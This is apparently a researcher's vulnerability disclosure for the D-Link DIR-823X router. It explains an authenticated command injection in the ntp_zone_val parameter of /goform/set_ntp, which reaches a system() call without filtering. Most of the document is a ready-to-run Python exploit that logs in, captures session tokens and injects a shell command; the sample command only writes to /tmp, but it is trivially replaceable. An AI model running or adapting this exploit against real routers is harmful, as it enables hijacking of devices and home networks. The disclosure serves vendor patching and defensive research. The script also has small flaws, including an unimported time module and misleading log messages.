D-Link | Welcome (dlink.com.cn)
DIR-823X AX3000 Dual-Band Gigabit Wireless Router
[RCE] Remote Command Execution with Authorization
In this firmware version, the web server is not properly handling the ntp_zone_val
field in the CGI request for /goform/set_ntp
. This allows an attacker to craft a malicious ntp_zone_val
field and send a malicious HTTP request to the /goform/set_ntp
CGI, leading to command execution with administrator privileges on the firmware file system.
https://github.com/Swind1er/Video/raw/main/set_ntp.mp4
First, locate the corresponding CGI processing function for the /goform/set_ntp
request: sub_41D618
, as follows
Following sub_41D618
, we see the uci processing function uciSet
, RVA:0x0000041D7C4
, continue tracking
A simple format string can be seen. Continue tracking the function sub_412B04
In the sub_412B04
function, the formatted string is directly executed using the system
function. The entire call chain does not filter the parameters, as shown below:
For the following format string, the parameter a1
is uncontrollable, and there are many ways to exploit parameter a2
. Here, we simply use double quotes to enclose and add a semicolon for execution. See the exploit details below.
sub_412B04("/sbin/uci set %s=\"%s\"", a1, a2);
# -*- coding: utf-8 -*-
"""
HTTP POST Request Example.
MIT License
Copyright (c) 2024 Swind1er
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
import requests
import logging
import argparse
import re
import hmac
import hashlib
__author__ = "Yaxuan Wang(Sw1ndl3r)"
__email__ = "2532775668@qq.com"
logging.basicConfig(level=logging.DEBUG)
def get_current_timestamp():
return str(int(time.time()))
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
"Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_set_ntp_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/set_ntp"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
"Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"ntp_zone_val": ";echo \"exp_set_ntp.py\">>/tmp/showme.txt;",
"ntp_zone_name": "123",
"ntp_client": "1",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.0.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Author: {__author__}, email: {__email__}')
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_set_ntp_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()